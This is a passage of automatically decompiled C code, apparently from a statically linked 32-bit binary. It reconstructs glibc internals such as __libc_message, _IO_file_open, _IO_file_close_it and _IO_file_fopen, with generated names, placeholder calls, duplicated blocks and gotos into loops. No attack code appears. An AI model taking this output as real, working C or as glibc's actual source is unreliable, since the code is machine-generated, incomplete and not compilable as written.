+ 20) - v27); v19 = v27; v20 = v22; if (_IO_do_write(&v20, &v19, &v16->e0) != -1) { goto lab_0x71b1a10; } // 0x80ad2d0 g98 = (int32_t)v3; g101 = v2; return -1; } } // 0x80ad2bb g98 = (int32_t)v3; g101 = v2; return 0; } // Address range: 0x80ae428 - 0x80ae433 int32_t __new_pclose(void) { // 0x80ae428 __new_fclose(NULL); return g95; } // Address range: 0x80ae518 - 0x80ae7c7 int32_t __libc_message(int32_t * a1, struct struct_59 * a2) { int32_t v1 = g100; // 0x80ae518 int32_t v2 = g102; // 0x80ae51b int32_t v3 = g101; // 0x80ae51c int32_t v4 = g98; // 0x80ae51d char * v5 = __secure_getenv("LIBC_FATAL_STDERR_"); // 0x80ae532 int32_t * v6; int32_t v7; // 0x80ae75b int32_t * v8; // 0x80ae5f9_0 char * v9; // 0x80ae700_42 char * v10; int32_t v11; int32_t v12; // 0x80ae5f4 int32_t v13; // 0x80ae72a int32_t v14; // 0x80ae7ab int32_t v15; int32_t v16; int32_t * v17; int32_t v18; int32_t v19; int32_t v20; // 0x80ae5ff int32_t v21; // 0x80ae591 int32_t v22; // 0x80ae59118 int32_t v23; int32_t * v24; // 0x80ae792_07 int32_t * v25; // 0x80ae792_08 struct struct_59 * v26; // 0x80ae553_0 struct struct_59 * v27; // 0x80ae608_0 int32_t v28; // 0x80ae556 int32_t v29; // 0x80ae60b int32_t * v30; // bp+011 if (v5 != NULL) { // 0x80ae540 int32_t * v31; // 0x80ae792_09 if (*v5 != 0) { // 0x80ae540 // branch -> 0x80ae549 // 0x80ae549 v26 = a2; v28 = (int32_t)v26->e0 | g98 & -256; v11 = v28; int32_t * v32 = a1; // bp+013 v31 = (int32_t *)2; if (v28 != 0) { v25 = (int32_t *)2; // 0x80ae560 g101 = 0; v6 = v17; v23 = 0; v10 = &v26->e0; // branch -> 0x80ae591 while (true) { // 0x80ae591 v21 = g97 & -256 | v28 % 256; v9 = v10; // branch -> 0x80ae591 lab_0x16c40a40:; int32_t v33; // 0x80ae5d8 int32_t v34; // 0x80ae5cd while (true) { int32_t v35 = (int32_t)v9 + 1; // 0x80ae578 char * v36; // 0x80ae700_41 if (0x1000000 * v21 == 0x25000000) { // 0x80ae578 if (*(char *)v35 != 115) { struct struct_59 * v37 = (struct struct_59 *)v35; // 0x80ae583_0 char * v38 = strchrnul(&v37->e0, 37); // 0x80ae584 int32_t v39 = (int32_t)v37 & -256 | (int32_t)*v38; // 0x80ae58b if (v39 == 0) { // break -> 0x80ae5a9 break; } v21 = v39; v9 = v38; // continue -> 0x80ae591 continue; } else { v36 = v9; } } else { struct struct_59 * v40 = (struct struct_59 *)v35; // 0x80ae59b_0 char * v41 = strchrnul(&v40->e0, 37); // 0x80ae59c int32_t v42 = (int32_t)v40 & -256 | (int32_t)*v41; // 0x80ae5a3 if (v42 == 0) { // break -> 0x80ae5a9 break; } v21 = v42; v9 = v41; // continue -> 0x80ae591 continue; } int32_t v43 = (int32_t)v10; // 0x80ae63a int32_t v44 = v35; // 0x80ae5cd20 char * v45; // 0x80ae700_43 int32_t * v46; int32_t v47; // 0x80ae6ef if (0x1000000 * v11 == 0x25000000) { // 0x80ae63a if (*(char *)(v43 + 1) == 115) { int32_t v48 = (int32_t)v6; // 0x80ae6e6 v47 = *v6; strlen((char *)v47); v34 = v48; v46 = (int32_t *)(v48 + 4); v45 = (char *)(v43 + 2); // branch -> 0x80ae5c6 lab_0x71e9510: // 0x80ae5c6 v33 = v23 + 1; int32_t v49 = (int32_t)*v45 | v47 & -256; // 0x80ae5de v11 = v49; if (v49 == 0) { // break (via goto) -> 0x80ae651 goto lab_0x71f8c50; } v22 = v34; v6 = v46; v23 = v33; v10 = v45; // continue (via goto) -> 0x80ae591 goto lab_0x721c160; } else { v44 = v43; } } // 0x80ae5b8 v47 = v43; v34 = v44; v46 = v6; v45 = v36; // branch -> 0x80ae5c6 goto lab_0x71e9510; } lab_0x71f8c50: // 0x80ae651 if (v33 >= 1) { int32_t * v50 = a1; // bp+012 int32_t v51 = 0; if (v23 >= 0) { // 0x80ae676 g101 = v33; int32_t v52 = 0; // 0x80ae69e int32_t v53 = v34; // 0x80ae692 int32_t * v54 = (int32_t *)(v53 + 4); // 0x80ae68c_0 int32_t v55 = *v54; // 0x80ae695 // branch -> 0x80ae688 while (v33 != v52 + 1) { // 0x80ae688 v52++; v53 += 8; v54 = (int32_t *)(v53 + 4); v55 += *v54; // continue -> 0x80ae688 } // 0x80ae6a6 v50 = (int32_t *)*v54; v51 = v55; // branch -> 0x80ae6a6 } // 0x80ae6a6 if (v51 == 146) { // 0x80ae6d3 g98 = (int32_t)v25 & -256 | 1; v30 = v50; v24 = v25; // branch -> 0x80ae627 // 0x80ae627 g102 = (int32_t)v30; if (v30 == NULL) { // 0x80ae632 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return 146; } // 0x80ae712 if (v30 < (int32_t *)2 || g98 == 0) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae721 v13 = __backtrace(&v19, 64); g98 = v13; g101 = 64; if (v13 < 3) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae738 __write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1); v7 = (int32_t)v24; backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7); __write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18); g101 = unknown_809350a(); // branch -> 0x80ae7a4 while (true) { // 0x80ae7a4 v14 = unknown_809311a(); if (v14 > 0) { lab_0xbde3ea0:; // 0x80ae790 int32_t v56; __write_nocancel(v24, v56, (int32_t *)v14, v1); if (v14 != 4) { // break -> 0x80ae7b9 break; } // continue -> 0x80ae7a4 continue; } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } v32 = v50; v31 = v25; } else { v32 = a1; v31 = v25; } } } // 0x80ae615 vsyslog(3, (int32_t)a2, v15, v16); v30 = v32; v24 = v31; // branch -> 0x80ae627 // 0x80ae627 g102 = (int32_t)v30; if (v30 == NULL) { // 0x80ae632 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return -24; } // 0x80ae712 if (v30 < (int32_t *)2 || g98 == 0) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae721 v13 = __backtrace(&v19, 64); g98 = v13; g101 = 64; if (v13 < 3) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae738 __write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1); v7 = (int32_t)v24; backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7); __write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18); g101 = unknown_809350a(); // branch -> 0x80ae7a4 while (true) { // 0x80ae7a4 v14 = unknown_809311a(); if (v14 > 0) { goto lab_0xbde3ea0; } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } } // 0x80ae5ea v12 = unknown_809350a(); v8 = (int32_t *)v12; v20 = (int32_t)(struct struct_59 *)"/dev/tty"; g101 = 2306; if (v12 == -1) { // 0x80ae549 v26 = a2; v28 = (int32_t)v26->e0 | v20 & -256; v11 = v28; if (v28 != 0) { v25 = (int32_t *)2; // 0x80ae560 g101 = 0; v6 = v17; v23 = 0; v10 = &v26->e0; // branch -> 0x80ae591 while (true) { // 0x80ae591 v21 = g97 & -256 | v28 % 256; v9 = v10; // branch -> 0x80ae591 goto lab_0x16c40a40; } } else { v31 = (int32_t *)2; } } else { // 0x80ae608 v27 = a2; v29 = (int32_t)v27->e0 | v20 & -256; v11 = v29; if (v29 != 0) { v25 = v8; // 0x80ae560 g101 = 0; v6 = v17; v23 = 0; v10 = &v27->e0; // branch -> 0x80ae591 while (true) { // 0x80ae591 v21 = g97 & -256 | v29 % 256; v9 = v10; // branch -> 0x80ae591 goto lab_0x16c40a40; } } else { v31 = v8; } } // 0x80ae615 vsyslog(3, (int32_t)a2, v15, v16); v30 = a1; v24 = v31; // branch -> 0x80ae627 // 0x80ae627 g102 = (int32_t)v30; if (v30 == NULL) { // 0x80ae632 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return -24; } // 0x80ae712 if (v30 < (int32_t *)2 || g98 == 0) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae721 v13 = __backtrace(&v19, 64); g98 = v13; g101 = 64; if (v13 < 3) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae738 __write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1); v7 = (int32_t)v24; backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7); __write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18); g101 = unknown_809350a(); // branch -> 0x80ae7a4 while (true) { // 0x80ae7a4 v14 = unknown_809311a(); if (v14 > 0) { goto lab_0xbde3ea0; } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } } // 0x80ae5ea v12 = unknown_809350a(); v8 = (int32_t *)v12; v20 = (int32_t)(struct struct_59 *)"/dev/tty"; g101 = 2306; if (v12 == -1) { // 0x80ae549 v26 = a2; v28 = (int32_t)v26->e0 | v20 & -256; v11 = v28; if (v28 != 0) { v25 = (int32_t *)2; // 0x80ae560 g101 = 0; v6 = v17; v23 = 0; v10 = &v26->e0; // branch -> 0x80ae591 while (true) { // 0x80ae591 v21 = g97 & -256 | v28 % 256; v9 = v10; // branch -> 0x80ae591 goto lab_0x16c40a40; } } // 0x80ae615 vsyslog(3, (int32_t)a2, v15, v16); v30 = a1; v24 = (int32_t *)2; // branch -> 0x80ae627 // 0x80ae627 g102 = (int32_t)v30; if (v30 == NULL) { // 0x80ae632 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return -24; } // 0x80ae712 if (v30 < (int32_t *)2 || g98 == 0) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae721 v13 = __backtrace(&v19, 64); g98 = v13; g101 = 64; if (v13 < 3) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae738 __write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1); v7 = (int32_t)v24; backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7); __write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18); g101 = unknown_809350a(); // branch -> 0x80ae7a4 while (true) { // 0x80ae7a4 v14 = unknown_809311a(); if (v14 > 0) { goto lab_0xbde3ea0; } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } } else { // 0x80ae608 v27 = a2; v29 = (int32_t)v27->e0 | v20 & -256; v11 = v29; if (v29 != 0) { v25 = v8; // 0x80ae560 g101 = 0; v22 = g97 & -256 | v29 % 256; v6 = v17; v23 = 0; v10 = &v27->e0; // branch -> 0x80ae591 lab_0x721c160: while (true) { // 0x80ae591 v21 = v22; v9 = v10; // branch -> 0x80ae591 goto lab_0x16c40a40; } } // 0x80ae615 vsyslog(3, (int32_t)a2, v15, v16); v30 = a1; v24 = v8; // branch -> 0x80ae627 // 0x80ae627 g102 = (int32_t)v30; if (v30 == NULL) { // 0x80ae632 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return -24; } // 0x80ae712 if (v30 < (int32_t *)2 || g98 == 0) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae721 v13 = __backtrace(&v19, 64); g98 = v13; g101 = 64; if (v13 < 3) { // 0x80ae71c abort(); // UNREACHABLE } // 0x80ae738 __write_nocancel(v24, (int32_t)"======= Backtrace: =========\n", (int32_t *)29, v1); v7 = (int32_t)v24; backtrace_symbols_fd((int32_t **)&v18, g98 - 1, v7, v7); __write_nocancel(v24, (int32_t)"======= Memory map: ========\n", (int32_t *)29, v18); g101 = unknown_809350a(); // branch -> 0x80ae7a4 while (true) { // 0x80ae7a4 v14 = unknown_809311a(); if (v14 > 0) { goto lab_0xbde3ea0; } // 0x80ae7b9 g98 = g101; abort(); // UNREACHABLE } } } // Address range: 0x80ae7e4 - 0x80ae811 int32_t _IO_file_init(struct struct_123 * a1) { int32_t v1 = g98; // 0x80ae7e7 int32_t v2 = (int32_t)a1; // 0x80ae7e8 *(int32_t *)(v2 + 76) = -1; *(int32_t *)(v2 + 80) = -1; int32_t * v3 = (int32_t *)v2; // 0x80ae7f9_0 *v3 = *v3 | 0x240c; struct struct_123 * v4 = (struct struct_123 *)v2; // 0x80ae7ff_0 _IO_link_in(&v4->e0, v1); *(int32_t *)(v2 + 56) = -1; g98 = v1; return (int32_t)v4; } // Address range: 0x80ae814 - 0x80ae8e2 int32_t _IO_file_open(struct struct_124 * a1, char * path, int32_t * a3, struct struct_124 * a4, char * a5, int32_t * a6) { int32_t v1 = g98; // 0x80ae819 int32_t v2 = (int32_t)a1; // 0x80ae81a g98 = v2; int32_t v3 = (int32_t)a3; // 0x80ae820 g96 = v3; int32_t v4 = (int32_t)a5; int32_t v5 = a6 == NULL ? 0x8000 : 0; // 0x80ae83b int32_t fd; if (*(char *)(v2 + 60) == 2) { int32_t oflag = v5 | v3; // 0x80ae841 g95 = oflag; fd = open(path, oflag); // branch -> 0x80ae84f } else { // 0x80ae8c4 g95 = v5 | v3; fd = unknown_809350a(); v1 = (int32_t)path; // branch -> 0x80ae84f } // 0x80ae84f g101 = fd; char * v6 = (char *)v1; // 0x80ae8d2_02 if (fd < 0) { // 0x80ae8b8 g98 = v1; return 0; } // 0x80ae853 *(int32_t *)(g98 + 56) = fd; int32_t * v7 = (int32_t *)g98; // 0x80ae856_0 int32_t v8 = v4 & 0x100c; // 0x80ae85f g97 = v8; *v7 = v8 | *v7 & -0x100d; int32_t v9; // 0x80ae877 int32_t result; if (v4 == 0x1000) { // 0x80ae87d v9 = (int32_t)v6; _IO_link_in(&((struct struct_124 *)g98)->e0, v9); result = g98; g98 = v9; return result; } // 0x80ae871 g1 = false; int32_t v10 = v4 & 4; // 0x80ae871 g103 = v10 == 0; g102 = v10; char * v11; // 0x80ae8d2_04 if (v4 != 4) { int32_t v12 = g98; // 0x80ae888 int32_t v13 = *(int32_t *)(v12 + 148); // 0x80ae888 g95 = v13; int32_t v14 = (int32_t)g2; // 0x80ae897 ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v13 + 36))(v12, v14, v14, 2, 3); v11 = NULL; // branch -> 0x80ae87d } else { v11 = v6; } // 0x80ae87d v9 = (int32_t)v11; _IO_link_in(&((struct struct_124 *)g98)->e0, v9); result = g98; g98 = v9; return result; } // Address range: 0x80b03e0 - 0x80b060b int32_t _IO_file_close_it(struct struct_125 * a1) { int32_t v1 = g100; // bp-4 int32_t v2 = g102; // 0x80b03e3 struct struct_125 * v3 = (struct struct_125 *)v2; // bp-8 int32_t v4 = g101; // 0x80b03e4 struct struct_125 * v5 = (struct struct_125 *)v4; // bp-12 int32_t v6 = g98; // 0x80b03e5 struct struct_121 * v7 = (struct struct_121 *)v6; // bp-16 struct struct_125 * v8 = (struct struct_125 *)v6; // bp-20 int32_t v9 = (int32_t)a1; // 0x80b03e7 g98 = v9; if (*(int32_t *)(v9 + 56) == -1) { // 0x80b0558 g98 = v6; g101 = v4; g102 = v2; return -1; } // 0x80b03f4 struct struct_18 * v10; // 0x80b0439_4 struct struct_18 * v11; // 0x80b056e_5 int32_t v12; int32_t v13; // bp-36 int32_t v14; // 0x80b0438 int32_t result; // 0x80b048f int32_t result2; // 0x80b04d0 int32_t v15; // 0x80b0407 int32_t v16; // 0x80b0416 int32_t v17; // 0x80b0407 int32_t v18; // 0x80b043e if (a1->e0 != 8) { // 0x80b03ff g102 = 0; // branch -> 0x80b0401 // 0x80b0401 _IO_unsave_markers((struct struct_134 *)g98); v15 = g98; v17 = *(int32_t *)(v15 + 148); g95 = v17; ((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15); g101 = g95; v16 = g98; if (*(int32_t *)(v16 + 92) < 1) { // 0x80b0567 v3 = NULL; v5 = NULL; v7 = NULL; v8 = (struct struct_125 *)v16; v11 = g2; _IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1); *(int32_t *)(g98 + 12) = 0; *(int32_t *)(g98 + 4) = 0; *(int32_t *)(g98 + 8) = 0; *(int32_t *)(g98 + 20) = 0; *(int32_t *)(g98 + 16) = 0; *(int32_t *)(g98 + 24) = 0; // branch -> 0x80b046d } else { // 0x80b0421 v14 = v16; if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) { // 0x80b042b _IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8); v14 = g98; // branch -> 0x80b0432 } // 0x80b0432 v13 = v14; v10 = g2; _IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10); v18 = *(int32_t *)(g98 + 88); v12 = v18; *(int32_t *)(v18 + 8) = 0; *(int32_t *)v12 = 0; *(int32_t *)(v12 + 4) = 0; *(int32_t *)(v12 + 16) = 0; *(int32_t *)(v12 + 12) = 0; *(int32_t *)(v12 + 20) = 0; // branch -> 0x80b046d } // 0x80b046d _IO_un_link((char *)g98, (int32_t)v8); *(int32_t *)g98 = -0x452dbf4; *(int32_t *)(g98 + 56) = -1; *(int32_t *)(g98 + 76) = -1; *(int32_t *)(g98 + 80) = -1; result = g101; if (result != 0) { // 0x80b0493 g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result; } // 0x80b04d0 result2 = g102; g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result2; } int32_t v19 = *(int32_t *)(v9 + 92); // 0x80b04a9 g96 = v19; if (v19 >= 1) { int32_t * v20 = a1->e15; // 0x80b04b3 int32_t v21 = *(int32_t *)(a1->e12 + 16); // 0x80b04b6 struct struct_125 * v22 = (struct struct_125 *)((v21 - (int32_t)v20) / 4); // 0x80b04be_0 v3 = v22; v5 = (struct struct_125 *)v20; v7 = (struct struct_121 *)a1; v8 = (struct struct_125 *)0x80b04c6; g102 = _IO_wdo_write((struct struct_121 *)a1, v20, &v22->e0); // branch -> 0x80b0401 // 0x80b0401 _IO_unsave_markers((struct struct_134 *)g98); v15 = g98; v17 = *(int32_t *)(v15 + 148); g95 = v17; ((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15); g101 = g95; v16 = g98; if (*(int32_t *)(v16 + 92) < 1) { // 0x80b0567 v3 = NULL; v5 = NULL; v7 = NULL; v8 = (struct struct_125 *)v16; v11 = g2; _IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1); *(int32_t *)(g98 + 12) = 0; *(int32_t *)(g98 + 4) = 0; *(int32_t *)(g98 + 8) = 0; *(int32_t *)(g98 + 20) = 0; *(int32_t *)(g98 + 16) = 0; *(int32_t *)(g98 + 24) = 0; // branch -> 0x80b046d } else { // 0x80b0421 v14 = v16; if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) { // 0x80b042b _IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8); v14 = g98; // branch -> 0x80b0432 } // 0x80b0432 v13 = v14; v10 = g2; _IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10); v18 = *(int32_t *)(g98 + 88); v12 = v18; *(int32_t *)(v18 + 8) = 0; *(int32_t *)v12 = 0; *(int32_t *)(v12 + 4) = 0; *(int32_t *)(v12 + 16) = 0; *(int32_t *)(v12 + 12) = 0; *(int32_t *)(v12 + 20) = 0; // branch -> 0x80b046d } // 0x80b046d _IO_un_link((char *)g98, (int32_t)v8); *(int32_t *)g98 = -0x452dbf4; *(int32_t *)(g98 + 56) = -1; *(int32_t *)(g98 + 76) = -1; *(int32_t *)(g98 + 80) = -1; result = g101; if (result != 0) { // 0x80b0493 g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result; } // 0x80b04d0 result2 = g102; g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result2; } int32_t v23 = (int32_t)a1->e4; // 0x80b04dc_0 g101 = v23; int32_t v24 = *(int32_t *)(v9 + 20); // 0x80b04df v8 = (struct struct_125 *)(v24 - v23); if (v24 == v23) { // 0x80b03ff g102 = 0; // branch -> 0x80b0401 } else { // 0x80b0504 g1 = false; g103 = true; g97 = 8; a1->e9 = -1; *(int32_t *)(g98 + 80) = -1; int32_t v25 = g98; struct struct_125 * v26 = v8; int32_t v27 = g101; g95 = *(int32_t *)(v25 + 148); v3 = v26; v5 = (struct struct_125 *)v27; v7 = (struct struct_121 *)v25; v8 = (struct struct_125 *)0x80b0512; ((int32_t (*)(int32_t, int32_t, int32_t))a1->e20)(v25, v27, (int32_t)v26); int32_t v28 = g95; // 0x80b0512 int32_t v29 = g98; // 0x80b0514 int32_t v30 = (int32_t)*(int16_t *)(v29 + 68); // 0x80b0514 int32_t v31 = v29; // 0x80b0528 if ((v30 || v28 & -0x10000) != 0) { // 0x80b0520 if (v28 != 0) { // 0x80b05eb v3 = (struct struct_125 *)v28; int32_t v32 = g101; // 0x80b05ec v5 = (struct struct_125 *)v32; int32_t v33 = v30 - 1; // 0x80b05f0 v7 = (struct struct_121 *)v33; v8 = (struct struct_125 *)0x80b05f7; int32_t v34 = _IO_adjust_column(v33, v32, v28, v1); // 0x80b05f2 *(int16_t *)(g98 + 68) = (int16_t)(v34 + 1); v31 = g98; // branch -> 0x80b0528 } else { v31 = v29; } } int32_t v35 = *(int32_t *)(v31 + 28); // 0x80b0528 v12 = v35; *(int32_t *)(v31 + 12) = v35; *(int32_t *)(g98 + 4) = v12; *(int32_t *)(g98 + 8) = v12; *(int32_t *)(g98 + 20) = v12; *(int32_t *)(g98 + 16) = v12; int32_t v36 = g98; // 0x80b053a if (*(int32_t *)(v36 + 92) < 1) { // 0x80b05a5 int32_t v37; // 0x80b0544 if (*(int32_t *)v36 == 514) { // 0x80b05ad v37 = *(int32_t *)(v36 + 32); // branch -> 0x80b0547 } else { // 0x80b05a5 v37 = v12; // branch -> 0x80b0547 } // 0x80b0547 *(int32_t *)(v36 + 24) = v37; g102 = v28 != (int32_t)v8; // branch -> 0x80b0401 // 0x80b0401 _IO_unsave_markers((struct struct_134 *)g98); v15 = g98; v17 = *(int32_t *)(v15 + 148); g95 = v17; ((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15); g101 = g95; v16 = g98; if (*(int32_t *)(v16 + 92) < 1) { // 0x80b0567 v3 = NULL; v5 = NULL; v7 = NULL; v8 = (struct struct_125 *)v16; v11 = g2; _IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1); *(int32_t *)(g98 + 12) = 0; *(int32_t *)(g98 + 4) = 0; *(int32_t *)(g98 + 8) = 0; *(int32_t *)(g98 + 20) = 0; *(int32_t *)(g98 + 16) = 0; *(int32_t *)(g98 + 24) = 0; // branch -> 0x80b046d } else { // 0x80b0421 v14 = v16; if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) { // 0x80b042b _IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8); v14 = g98; // branch -> 0x80b0432 } // 0x80b0432 v13 = v14; v10 = g2; _IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10); v18 = *(int32_t *)(g98 + 88); v12 = v18; *(int32_t *)(v18 + 8) = 0; *(int32_t *)v12 = 0; *(int32_t *)(v12 + 4) = 0; *(int32_t *)(v12 + 16) = 0; *(int32_t *)(v12 + 12) = 0; *(int32_t *)(v12 + 20) = 0; // branch -> 0x80b046d } // 0x80b046d _IO_un_link((char *)g98, (int32_t)v8); *(int32_t *)g98 = -0x452dbf4; *(int32_t *)(g98 + 56) = -1; *(int32_t *)(g98 + 76) = -1; *(int32_t *)(g98 + 80) = -1; result = g101; if (result != 0) { // 0x80b0493 g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result; } // 0x80b04d0 result2 = g102; g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result2; } // 0x80b0541 // branch -> 0x80b0547 // 0x80b0547 *(int32_t *)(v36 + 24) = *(int32_t *)(v36 + 32); g102 = v28 != (int32_t)v8; // branch -> 0x80b0401 } // 0x80b0401 _IO_unsave_markers((struct struct_134 *)g98); v15 = g98; v17 = *(int32_t *)(v15 + 148); g95 = v17; ((int32_t (*)(int32_t))*(int32_t *)(v17 + 68))(v15); g101 = g95; v16 = g98; if (*(int32_t *)(v16 + 92) < 1) { // 0x80b0567 v3 = NULL; v5 = NULL; v7 = NULL; v8 = (struct struct_125 *)v16; v11 = g2; _IO_setb((struct struct_128 *)v16, &v11->e0, &v11->e0, (struct struct_128 *)v11, &v1); *(int32_t *)(g98 + 12) = 0; *(int32_t *)(g98 + 4) = 0; *(int32_t *)(g98 + 8) = 0; *(int32_t *)(g98 + 20) = 0; *(int32_t *)(g98 + 16) = 0; *(int32_t *)(g98 + 24) = 0; // branch -> 0x80b046d } else { // 0x80b0421 v14 = v16; if (*(int32_t *)(*(int32_t *)(v16 + 88) + 32) != 0) { // 0x80b042b _IO_free_wbackup_area((struct struct_143 *)v16, (int32_t)v8); v14 = g98; // branch -> 0x80b0432 } // 0x80b0432 v13 = v14; v10 = g2; _IO_wsetb((struct struct_141 *)&v13, &v10->e0, &v10->e0, (int32_t)v10); v18 = *(int32_t *)(g98 + 88); v12 = v18; *(int32_t *)(v18 + 8) = 0; *(int32_t *)v12 = 0; *(int32_t *)(v12 + 4) = 0; *(int32_t *)(v12 + 16) = 0; *(int32_t *)(v12 + 12) = 0; *(int32_t *)(v12 + 20) = 0; // branch -> 0x80b046d } // 0x80b046d _IO_un_link((char *)g98, (int32_t)v8); *(int32_t *)g98 = -0x452dbf4; *(int32_t *)(g98 + 56) = -1; *(int32_t *)(g98 + 76) = -1; *(int32_t *)(g98 + 80) = -1; result = g101; if (result != 0) { // 0x80b0493 g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result; } // 0x80b04d0 result2 = g102; g98 = (int32_t)v7; g101 = (int32_t)v5; g102 = (int32_t)v3; return result2; } // Address range: 0x80b060c - 0x80b0972 int32_t _IO_file_fopen(int32_t * a1, int32_t * a2, struct struct_127 * a3, struct struct_125 * a4, int32_t a5) { struct struct_126 * v1 = NULL; // bp-52 int32_t v2 = g100; // 0x80b060c int32_t v3 = g102; // 0x80b060f int32_t v4 = g101; // 0x80b0610 int32_t v5 = g98; // 0x80b0611 int32_t v6 = (int32_t)a3; // 0x80b0615 g96 = v6; int32_t v7 = (int32_t)a1; // 0x80b0618 g95 = v7; if (*(int32_t *)(v7 + 56) == -1) { int32_t v8 = (int32_t)a3->e0 | v7 & -256; // 0x80b0634 int32_t v9; // 0x80b0680 int32_t v10; // 0x80b073f int32_t v11; // 0x80b0767 int32_t v12; // 0x80b0889 char * v13; // 0x80b06b3_0 char * str; // 0x80b06de_0 int32_t v14; // 0x80b06e8_0 int32_t * v15; // 0x80b0856_0 int32_t * v16; // 0x80b0929_0 int32_t v17; int32_t v18; char * substr_pos; // 0x80b06df int32_t result2; // 0x80b06c3 int32_t v19; // 0x80b0838 int32_t v20; // 0x80b0838 int32_t * v21; int32_t v22; // 0x80b0700 int32_t v23; int32_t v24; int32_t v25; // 0x80b0740 int32_t v26; // 0x80b0758 int32_t v27; // 0x80b084e struct struct_125 * v28; // 0x80b06e5_0 int32_t v29; // 0x80b083b int32_t v30; // 0x80b06a821 int32_t v31; // 0x80b085e int32_t v32; // 0x80b0886 int32_t v33; // 0x80b088f int32_t v34; // 0x80b068112 int32_t v35; // 0x80b06d6 int32_t v36; // 0x80b06f3 int32_t v37; // 0x80b0744 struct struct_125 * v38; // 0x80b06b0_0 int32_t v39; // 0x80b0722 struct struct_126 * v40; // 0x80b0722_0 int32_t v41; // 0x80b074a struct struct_126 * v42; // 0x80b074a_0 int32_t v43; // 0x80b0761 struct struct_126 * v44; // 0x80b076c_0 int32_t v45; // 0x80b0856 int32_t result; // 0x80b0875 int32_t v46; // 0x80b0681 int32_t v47; // 0x80b0725 int32_t v48; // 0x80b0897 int32_t v49; // 0x80b06b9 int32_t v50; // 0x80b09534 if (v8 == 114) { // 0x80b07d4 v18 = 0; g102 = 8; v34 = 114; v23 = 0; // branch -> 0x80b067c } else { // 0x80b063e if (v8 == 119) { // 0x80b07e7 v18 = 1; g102 = 4; v34 = 119; v23 = 576; // branch -> 0x80b067c } else { // 0x80b0646 if (v8 != 97) { // 0x80b064a g95 = -24; g98 = v5; g101 = v4; g102 = v3; return 0; } // 0x80b0668 g102 = 0x1004; v18 = 1; v34 = 97; v23 = 1088; // branch -> 0x80b067c } // 0x80b067c g98 = v6; v16 = (int32_t *)(v7 + 60); v30 = v6; int32_t v51 = v6; // 0x80b0680 v24 = v23; // branch -> 0x80b0680 while (true) { // 0x80b0680 v9 = v51 + 1; v46 = (int32_t)*(char *)v9 | v34 & -256; if (v46 == 99) { // 0x80b07c8 *v16 = *v16 | 2; // branch -> 0x80b06b0 } else { lab_0x277b34b0:; // 0x80b068b int32_t v52; int32_t v53; // 0x80b06ab int32_t v54; // 0x80b06a8 if (v46 <= 99) { // 0x80b0691 if (v46 == 98) { // 0x80b0932 g98 = v9; v53 = v9; v54 = v30; v52 = v24; // branch -> 0x80b06a8 goto lab_0x30f7f960; } else { // 0x80b0699 if (v46 != 0) { // 0x80b069d if (v46 != 43) { v53 = v9; v54 = v30; v52 = v24; goto lab_0x30f7f960; } // 0x80b0939 g102 &= 0x1000; g98 = v9; v18 = 2; v53 = v9; v54 = v30; v52 = v24; // branch -> 0x80b06a8 goto lab_0x30f7f960; } } // 0x80b06b0 v38 = a4; v13 = (char *)g102; v49 